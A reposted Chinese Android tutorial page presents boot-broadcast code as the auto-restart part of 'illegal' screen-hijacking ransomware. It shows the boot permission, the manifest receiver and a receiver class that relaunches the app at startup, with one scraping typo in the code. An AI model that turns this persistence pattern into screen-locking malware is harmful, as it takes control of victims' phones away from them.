首页 > 系统 > Android > 正文

40.android广播-手机非法软件

2019-11-09 15:26:42
字体:
来源:转载
供稿:网友

手机非法软件,霸占手机的屏幕,禁止掉返回按键,到home按键又重启,开机自动打开。

首先返回无法生效,重启的时候,监听开机广播,开机后打开程序,可以达到非法的目的。

FLAG_ACTIVITY_NEW_TASK://在activity外开启app需要这一个标志位,this activity will become the start of a new task on this history stack. 相当于开启一个新的任务栈,应用的启动需要任务栈,广播接收者是没有任务栈,不能存放activity

权限配置

  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

清单文件配置

<receiver android:name="com.ldw.phonehei.bootReceiver">            <intent-filter>                <action android:name="android.intent.action.BOOT_COMPLETED"/>            </intent-filter>        </receiver>勒索软件代码(代码中仅仅配置了开机自动重启)

package com.ldw.phonehei;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.widget.Toast;public class bootReceiver extends BroadcastReceiver {	@Override	public void onReceive(Context context, Intent intent) {		// TODO Auto-generated method stub		Toast.makeText(context, "开机成功", Toast.LENGTH_SHORT).show();		System.out.PRintln("开机成功");		//开机启动activity,实现开机自动启动软件		Intent it = new Intent(context, MainActivity.class);		//在activity外开启app需要这一个标志位,this activity will become the start of a new task on this history stack. 		it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);		context.startActivity(it);	}}


发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表